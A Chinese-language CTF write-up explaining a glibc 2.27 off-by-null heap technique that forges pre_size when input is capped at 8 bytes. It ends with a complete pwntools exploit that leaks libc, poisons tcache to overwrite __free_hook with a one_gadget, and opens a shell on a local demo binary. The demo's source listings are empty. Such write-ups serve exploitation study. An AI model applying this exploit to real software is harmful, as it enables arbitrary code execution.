常规2.27以下的off by null多半是通过手工输入伪造pre_size来达成堆块重叠
但有些时候,比如输入长度被限制住时,就需要其他的途径来伪造pre_size
demo程序(2.27-3ubuntu1.2_amd64):
new:
delete:
show:
最麻烦的无疑是读入的content被限制在了8个字节,并且malloc和free时都会清空区块内的内容
显然,传统的手工输入伪造pre_size的方法在此处并不适用
首先进行简单的堆布局:
在此时分配一个chunk,并让此chunk触发off by null,此时的堆结构:
此时,如果再分配chunk对free_chunk进行切割,根据free_chunk_size会修改0x5579b4751560处的值为新的pre_size
而通过进行后向合并时所需要的pre_size以及pre_inuse标志位都不会被更改
通过free掉idx4触发后向时,也一样会寻址到0x5579b4751360即idx1处,即idx1下面的chunk也会被放入unsortedbin中
此时便完成了堆块重叠的构造
剩下的即为常规的泄露以及程序流的劫持
exp:
from pwn import*
r=process('./main')
context.log_level='debug'
libc=ELF('./libc-2.27.so')
def new(idx,size,content):
r.recvuntil('>> ')
r.sendline('1')
r.recvuntil('Index: ')
r.sendline(str(idx))
r.recvuntil('Size: ')
r.sendline(str(size))
r.recvuntil('Content: ')
r.send(content)
def delete(idx):
r.recvuntil('>> ')
r.sendline('2')
r.recvuntil('Index: ')
r.sendline(str(idx))
def show(idx):
r.recvuntil('>> ')
r.sendline('3')
r.recvuntil('Index: ')
r.sendline(str(idx))
for i in range(11): new(i,0x108,'a'*0x8)
for i in range(4,11): delete(i)
delete(0)
delete(1)
delete(2)
for i in range(4,11): new(i,0x108,'a'*0x8)
new(0,0x108,'\n')
new(1,0x108,'a'*0x8)
new(2,0xe8,'a'*0x8)
for i in range(4,11): delete(i)
delete(1)
delete(3)
for i in range(4,11): new(i,0x108,'a'*0x8)
new(1,0x108,'a'*0x8)
show(2)
libc_base=u64(r.recvuntil('\x7f')[-6:]+p16(0))-libc.sym['__malloc_hook']-0x70
success('libc_base: '+hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
one_gadget=libc_base+0xe56ff
new(12,0xe8,'a'*0x8)
delete(2)
delete(12)
new(0,0xe8,p64(free_hook))
new(1,0xe8,'a'*0x8)
new(2,0xe8,p64(one_gadget))
#gdb.attach(r)
delete(0)
r.interactive()
下载: